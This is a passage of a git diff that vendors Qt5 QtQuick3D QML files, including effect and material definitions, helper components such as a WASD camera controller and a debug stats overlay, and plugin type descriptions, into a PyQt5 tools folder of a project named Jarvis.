$QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + passes: renderPass + + Pass { + id: renderPass + shaders: [fragShader] + } + + Shader { + id: fragShader + stage: Shader.Fragment + shader: "/* Set to a fragment shader file */" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/maps/brushnoise.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/maps/brushnoise.png new file mode 100644 index 00000000..43e2034a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/maps/brushnoise.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/maps/white.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/maps/white.png new file mode 100644 index 00000000..dd0f1d23 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/maps/white.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/plugins.qmltypes new file mode 100644 index 00000000..1eb2369a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/plugins.qmltypes @@ -0,0 +1,24 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick3D.Effects 1.15' + +Module { + dependencies: [ + "QtQuick 2.15", + "QtQuick.Window 2.1", + "QtQuick3D 1.15", + "QtQuick3D.Materials 1.15" + ] + Component { + name: "QQuick3DEffect" + defaultProperty: "data" + prototype: "QQuick3DObject" + exports: ["QtQuick3D.Effects/Effect 1.15"] + exportMetaObjectRevisions: [0] + Property { name: "passes"; type: "QQuick3DShaderUtilsRenderPass"; isList: true; isReadonly: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/qmldir new file mode 100644 index 00000000..1af83390 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/qmldir @@ -0,0 +1,27 @@ +module QtQuick3D.Effects +plugin qtquick3deffectplugin +classname QtQuick3DEffectPlugin +AdditiveColorGradient 1.0 AdditiveColorGradient.qml +Blur 1.0 Blur.qml +BrushStrokes 1.0 BrushStrokes.qml +ChromaticAberration 1.0 ChromaticAberration.qml +ColorMaster 1.0 ColorMaster.qml +DepthOfFieldHQBlur 1.0 DepthOfFieldHQBlur.qml +Desaturate 1.0 Desaturate.qml +DistortionRipple 1.0 DistortionRipple.qml +DistortionSphere 1.0 DistortionSphere.qml +DistortionSpiral 1.0 DistortionSpiral.qml +EdgeDetect 1.0 EdgeDetect.qml +Emboss 1.0 Emboss.qml +Flip 1.0 Flip.qml +Fxaa 1.0 Fxaa.qml +GaussianBlur 1.0 GaussianBlur.qml +HDRBloomTonemap 1.0 HDRBloomTonemap.qml +MotionBlur 1.0 MotionBlur.qml +Scatter 1.0 Scatter.qml +SCurveTonemap 1.0 SCurveTonemap.qml +TiltShift 1.0 TiltShift.qml +Vignette 1.0 Vignette.qml +designersupported +depends QtQuick3D 1.15 +depends QtQuick.Window 2.1 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/qtquick3deffectplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/qtquick3deffectplugin.dll new file mode 100644 index 00000000..8fb42fc8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/qtquick3deffectplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/AxisHelper.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/AxisHelper.qml new file mode 100644 index 00000000..b27b9454 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/AxisHelper.qml @@ -0,0 +1,119 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 + +Node { + id: axisGrid_obj + + property alias gridColor: gridMaterial.diffuseColor + property alias gridOpacity: gridMaterial.opacity + property alias enableXZGrid: gridXZ.visible + property alias enableXYGrid: gridXY.visible + property alias enableYZGrid: gridYZ.visible + property bool enableAxisLines: true + + // Axis Lines + Model { + id: xAxis + source: "#Cube" + position: Qt.vector3d(5000, 0, 0) + scale: Qt.vector3d(100, .05, .05) + visible: enableAxisLines + + materials: DefaultMaterial { + lighting: DefaultMaterial.NoLighting + diffuseColor: "red" + } + } + + Model { + id: yAxis + source: "#Cube" + position: Qt.vector3d(0, 5000, 0) + scale: Qt.vector3d(0.05, 100, 0.05) + visible: enableAxisLines + materials: DefaultMaterial { + lighting: DefaultMaterial.NoLighting + diffuseColor: "green" + } + } + + Model { + id: zAxis + source: "#Cube" + position: Qt.vector3d(0, 0, 5000) + scale: Qt.vector3d(0.05, 0.05, 100) + visible: enableAxisLines + materials: DefaultMaterial { + lighting: DefaultMaterial.NoLighting + diffuseColor: "blue" + } + } + + // Grid Lines + DefaultMaterial { + id: gridMaterial + lighting: DefaultMaterial.NoLighting + opacity: 0.5 + diffuseColor: Qt.rgba(0.8, 0.8, 0.8, 1) + } + + Model { + id: gridXZ + source: "meshes/axisGrid.mesh" + scale: Qt.vector3d(100, 100, 100) + materials: [ + gridMaterial + ] + } + + Model { + id: gridXY + visible: false + source: "meshes/axisGrid.mesh" + scale: Qt.vector3d(100, 100, 100) + eulerRotation: Qt.vector3d(90, 0, 0) + materials: [ + gridMaterial + ] + } + + Model { + id: gridYZ + visible: false + source: "meshes/axisGrid.mesh" + scale: Qt.vector3d(100, 100, 100) + eulerRotation: Qt.vector3d(0, 0, 90) + materials: [ + gridMaterial + ] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/DebugView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/DebugView.qml new file mode 100644 index 00000000..ed6b9d2b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/DebugView.qml @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 + +Rectangle { + property var source: null + width: layout.width + 10 + height: layout.height + 10 + color: "#80778BA5" + radius: 5 + + Column { + id: layout + anchors.centerIn: parent + + Text { + text: source.renderStats.fps + " FPS (" + (source.renderStats.frameTime).toFixed(3) + "ms)" + font.pointSize: 13 + color: "white" + } + Text { + text: "Sync: " + (source.renderStats.syncTime).toFixed(3) + "ms" + font.pointSize: 9 + color: "white" + } + Text { + text: "Render: " + (source.renderStats.renderTime).toFixed(3) + "ms" + font.pointSize: 9 + color: "white" + } + Text { + text: "Max: " + (source.renderStats.maxFrameTime).toFixed(3) + "ms" + font.pointSize: 9 + color: "white" + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/WasdController.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/WasdController.qml new file mode 100644 index 00000000..5f508f62 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/WasdController.qml @@ -0,0 +1,320 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 + +Item { + id: root + property Node controlledObject: undefined + + property real speed: 1 + property real shiftSpeed: 3 + + property real forwardSpeed: 5 + property real backSpeed: 5 + property real rightSpeed: 5 + property real leftSpeed: 5 + property real upSpeed: 5 + property real downSpeed: 5 + property real xSpeed: 0.1 + property real ySpeed: 0.1 + + property bool xInvert: false + property bool yInvert: true + + property bool mouseEnabled: true + property bool keysEnabled: true + + readonly property bool inputsNeedProcessing: status.moveForward | status.moveBack + | status.moveLeft | status.moveRight + | status.moveUp | status.moveDown + | status.useMouse + + property alias acceptedButtons: dragHandler.acceptedButtons + + + + implicitWidth: parent.width + implicitHeight: parent.height + focus: keysEnabled + + DragHandler { + id: dragHandler + target: null + enabled: mouseEnabled + onCentroidChanged: { + mouseMoved(Qt.vector2d(centroid.position.x, centroid.position.y)); + } + + onActiveChanged: { + if (active) + mousePressed(Qt.vector2d(centroid.position.x, centroid.position.y)); + else + mouseReleased(Qt.vector2d(centroid.position.x, centroid.position.y)); + } + } + + Keys.onPressed: if (keysEnabled) handleKeyPress(event) + Keys.onReleased: if (keysEnabled) handleKeyRelease(event) + + function mousePressed(newPos) { + status.currentPos = newPos + status.lastPos = newPos + status.useMouse = true; + } + + function mouseReleased(newPos) { + status.useMouse = false; + } + + function mouseMoved(newPos) { + status.currentPos = newPos; + } + + function forwardPressed() { + status.moveForward = true + status.moveBack = false + } + + function forwardReleased() { + status.moveForward = false + } + + function backPressed() { + status.moveBack = true + status.moveForward = false + } + + function backReleased() { + status.moveBack = false + } + + function rightPressed() { + status.moveRight = true + status.moveLeft = false + } + + function rightReleased() { + status.moveRight = false + } + + function leftPressed() { + status.moveLeft = true + status.moveRight = false + } + + function leftReleased() { + status.moveLeft = false + } + + function upPressed() { + status.moveUp = true + status.moveDown = false + } + + function upReleased() { + status.moveUp = false + } + + function downPressed() { + status.moveDown = true + status.moveUp = false + } + + function downReleased() { + status.moveDown = false + } + + function shiftPressed() { + status.shiftDown = true + } + + function shiftReleased() { + status.shiftDown = false + } + + function handleKeyPress(event) + { + switch (event.key) { + case Qt.Key_W: + case Qt.Key_Up: + forwardPressed(); + break; + case Qt.Key_S: + case Qt.Key_Down: + backPressed(); + break; + case Qt.Key_A: + case Qt.Key_Left: + leftPressed(); + break; + case Qt.Key_D: + case Qt.Key_Right: + rightPressed(); + break; + case Qt.Key_R: + case Qt.Key_PageUp: + upPressed(); + break; + case Qt.Key_F: + case Qt.Key_PageDown: + downPressed(); + break; + case Qt.Key_Shift: + shiftPressed(); + break; + } + } + + function handleKeyRelease(event) + { + switch (event.key) { + case Qt.Key_W: + case Qt.Key_Up: + forwardReleased(); + break; + case Qt.Key_S: + case Qt.Key_Down: + backReleased(); + break; + case Qt.Key_A: + case Qt.Key_Left: + leftReleased(); + break; + case Qt.Key_D: + case Qt.Key_Right: + rightReleased(); + break; + case Qt.Key_R: + case Qt.Key_PageUp: + upReleased(); + break; + case Qt.Key_F: + case Qt.Key_PageDown: + downReleased(); + break; + case Qt.Key_Shift: + shiftReleased(); + break; + } + } + + Timer { + id: updateTimer + interval: 16 + repeat: true + running: root.inputsNeedProcessing + onTriggered: { + processInputs(); + } + } + + function processInputs() + { + if (root.inputsNeedProcessing) + status.processInput(); + } + + QtObject { + id: status + + property bool moveForward: false + property bool moveBack: false + property bool moveLeft: false + property bool moveRight: false + property bool moveUp: false + property bool moveDown: false + property bool shiftDown: false + property bool useMouse: false + + property vector2d lastPos: Qt.vector2d(0, 0) + property vector2d currentPos: Qt.vector2d(0, 0) + + function updatePosition(vector, speed, position) + { + if (shiftDown) + speed *= shiftSpeed; + else + speed *= root.speed + + var direction = vector; + var velocity = Qt.vector3d(direction.x * speed, + direction.y * speed, + direction.z * speed); + controlledObject.position = Qt.vector3d(position.x + velocity.x, + position.y + velocity.y, + position.z + velocity.z); + } + + function negate(vector) { + return Qt.vector3d(-vector.x, -vector.y, -vector.z) + } + + function processInput() { + if (controlledObject == undefined) + return; + + if (moveForward) + updatePosition(controlledObject.forward, forwardSpeed, controlledObject.position); + else if (moveBack) + updatePosition(negate(controlledObject.forward), backSpeed, controlledObject.position); + + if (moveRight) + updatePosition(controlledObject.right, rightSpeed, controlledObject.position); + else if (moveLeft) + updatePosition(negate(controlledObject.right), leftSpeed, controlledObject.position); + + if (moveDown) + updatePosition(negate(controlledObject.up), downSpeed, controlledObject.position); + else if (moveUp) + updatePosition(controlledObject.up, upSpeed, controlledObject.position); + + if (useMouse) { + // Get the delta + var rotationVector = controlledObject.eulerRotation; + var delta = Qt.vector2d(lastPos.x - currentPos.x, + lastPos.y - currentPos.y); + // rotate x + var rotateX = delta.x * xSpeed + if (xInvert) + rotateX = -rotateX; + rotationVector.y += rotateX; + + // rotate y + var rotateY = delta.y * -ySpeed + if (yInvert) + rotateY = -rotateY; + rotationVector.x += rotateY; + controlledObject.setEulerRotation(rotationVector); + lastPos = currentPos; + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/meshes/axisGrid.mesh b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/meshes/axisGrid.mesh new file mode 100644 index 00000000..c1868883 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/meshes/axisGrid.mesh differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/plugins.qmltypes new file mode 100644 index 00000000..8b6293db --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/plugins.qmltypes @@ -0,0 +1,71 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick3D.Helpers 1.15' + +Module { + dependencies: [ + "QtQuick 2.15", + "QtQuick.Window 2.1", + "QtQuick3D 1.15", + "QtQuick3D.Effects 1.15", + "QtQuick3D.Materials 1.15" + ] + Component { + name: "GridGeometry" + defaultProperty: "data" + prototype: "QQuick3DGeometry" + exports: ["QtQuick3D.Helpers/GridGeometry 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "horizontalLines"; type: "int" } + Property { name: "verticalLines"; type: "int" } + Property { name: "horizontalStep"; type: "float" } + Property { name: "verticalStep"; type: "float" } + Method { + name: "setHorizontalLines" + Parameter { name: "count"; type: "int" } + } + Method { + name: "setVerticalLines" + Parameter { name: "count"; type: "int" } + } + Method { + name: "setHorizontalStep" + Parameter { name: "step"; type: "float" } + } + Method { + name: "setVerticalStep" + Parameter { name: "step"; type: "float" } + } + } + Component { + name: "PointerPlane" + defaultProperty: "data" + prototype: "QQuick3DNode" + exports: ["QtQuick3D.Helpers/PointerPlane 1.14"] + exportMetaObjectRevisions: [0] + Method { + name: "getIntersectPos" + type: "QVector3D" + Parameter { name: "rayPos0"; type: "QVector3D" } + Parameter { name: "rayPos1"; type: "QVector3D" } + Parameter { name: "planePos"; type: "QVector3D" } + Parameter { name: "planeNormal"; type: "QVector3D" } + } + Method { + name: "getIntersectPosFromSceneRay" + type: "QVector3D" + Parameter { name: "rayPos0"; type: "QVector3D" } + Parameter { name: "rayPos1"; type: "QVector3D" } + } + Method { + name: "getIntersectPosFromView" + type: "QVector3D" + Parameter { name: "view"; type: "QQuick3DViewport"; isPointer: true } + Parameter { name: "posInView"; type: "QPointF" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/qmldir new file mode 100644 index 00000000..93ebcd02 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/qmldir @@ -0,0 +1,8 @@ +module QtQuick3D.Helpers +plugin qtquick3dhelpersplugin +classname QtQuick3DHelpersPlugin +AxisHelper 1.0 AxisHelper.qml +DebugView 1.0 DebugView.qml +WasdController 1.0 WasdController.qml +designersupported +depends QtQuick3D 1.0 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/qtquick3dhelpersplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/qtquick3dhelpersplugin.dll new file mode 100644 index 00000000..ec1507d4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Helpers/qtquick3dhelpersplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumAnodizedEmissiveMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumAnodizedEmissiveMaterial.qml new file mode 100644 index 00000000..c8294644 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumAnodizedEmissiveMaterial.qml @@ -0,0 +1,104 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property real roughness: 0.3 + property vector3d base_color: Qt.vector3d(0.7, 0.7, 0.7) + property real intensity: 1.0 + property vector3d emission_color: Qt.vector3d(0, 0, 0) + + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Glossy + } + + property TextureInput emissive_texture: TextureInput { + id: emissiveTexture + enabled: true + texture: Texture { + id: emissiveImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/emissive.png" + } + } + + property TextureInput emissive_mask_texture: TextureInput { + id: emissiveMaskTexture + enabled: true + texture: Texture { + id: emissiveMaskImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/emissive_mask.png" + } + } + + property TextureInput uEnvironmentTexture: TextureInput { + id: uEnvironmentTexture + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/shadow.png" + } + } + + Shader { + id: aluminumAnodizedEmissiveShader + stage: Shader.Fragment + shader: "shaders/aluminumAnodizedEmissive.frag" + } + + passes: [ + Pass { + shaders: aluminumAnodizedEmissiveShader + } + ] + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumAnodizedMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumAnodizedMaterial.qml new file mode 100644 index 00000000..c5a9c425 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumAnodizedMaterial.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property real roughness: 0.3 + property vector3d base_color: Qt.vector3d(0.7, 0.7, 0.7) + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Glossy + } + + property TextureInput uEnvironmentTexture: TextureInput { + id: uEnvironmentTexture + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/shadow.png" + } + } + + Shader { + id: aluminumAnodizedShader + stage: Shader.Fragment + shader: "shaders/aluminumAnodized.frag" + } + + passes: [ + Pass { + shaders: aluminumAnodizedShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumBrushedMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumBrushedMaterial.qml new file mode 100644 index 00000000..3a57d40d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumBrushedMaterial.qml @@ -0,0 +1,126 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property vector3d tiling: Qt.vector3d(3, 3, 3) + property real brushing_strength: 0.5 + property real reflection_stretch: 0.5 + property vector3d metal_color: Qt.vector3d(0.95, 0.95, 0.95) + property real bump_amount: 0.4 + +// +// + + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Glossy + } + + + property TextureInput uEnvironmentTexture: TextureInput { + id: uEnvironmentTexture + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/shadow.png" + } + } + + property TextureInput brush_texture: TextureInput { + enabled: true + texture: Texture { + id: brushTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/brushed_full_contrast.png" + } + } + + property TextureInput roughness_texture_u: TextureInput { + enabled: true + texture: Texture { + id: roughnessUTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/brushed_full_contrast.png" + } + } + + property TextureInput roughness_texture_v: TextureInput { + enabled: true + texture: Texture { + id: roughnessVTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/brushed_full_contrast.png" + } + } + + + property TextureInput bump_texture: TextureInput { + enabled: true + texture: Texture { + id: bumpTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/brushed_a.png" + } + } + + Shader { + id: aluminumBrushedFragShader + stage: Shader.Fragment + shader: "shaders/aluminumBrushed.frag" + } + + passes: [ + Pass { + shaders: aluminumBrushedFragShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumEmissiveMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumEmissiveMaterial.qml new file mode 100644 index 00000000..ead75173 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumEmissiveMaterial.qml @@ -0,0 +1,137 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + 